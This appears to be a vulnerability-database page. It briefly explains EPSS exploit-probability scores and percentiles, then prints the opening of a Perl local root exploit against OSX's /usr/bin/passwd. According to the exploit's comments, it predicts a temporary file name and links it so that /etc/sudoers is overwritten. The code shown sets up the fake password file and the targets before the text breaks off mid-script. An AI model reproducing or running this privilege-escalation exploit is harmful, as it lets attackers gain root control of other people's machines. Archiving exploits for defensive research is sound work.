EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/perl # # /usr/bin/passwd[OSX]: local root exploit. # # by: vade79/v9 [email protected] (fakehalo/realhalo) # # (Apple) OSX's /usr/bin/passwd program has support for a custom # passwd file to be used instead of the standard/static path. this # feature has security issues in the form of editable file(s) being # made anywheres on the disk and also writing arbitrary data to files. # # the first issue will only work if the file does not already exist, # it is done using "umask 0;/usr/bin/passwd -i file -l <filename>". # the second issue is once a successful password change has occured # /usr/bin/passwd will insecurely re-write the passwd file to # /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of # your choice. (this exploits the second issue to overwrite # /etc/sudoers) # # (for some reason this took apple 6 or so months to patch) use POSIX; $fake_passwd="/tmp/xpasswd.$$"; $passwd_pid=($$ + 1); $passwd_tempfile="/tmp/.pwtmp.$passwd_pid"; $sudoers="/etc/sudoers"; sub pexit{print("[!] @_.\n");exit(1);} print("[*] /usr/bin/passwd[OSX]: local root exploit.\n"); print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n"); unlink($fake_passwd); print("[*] making fake password file.
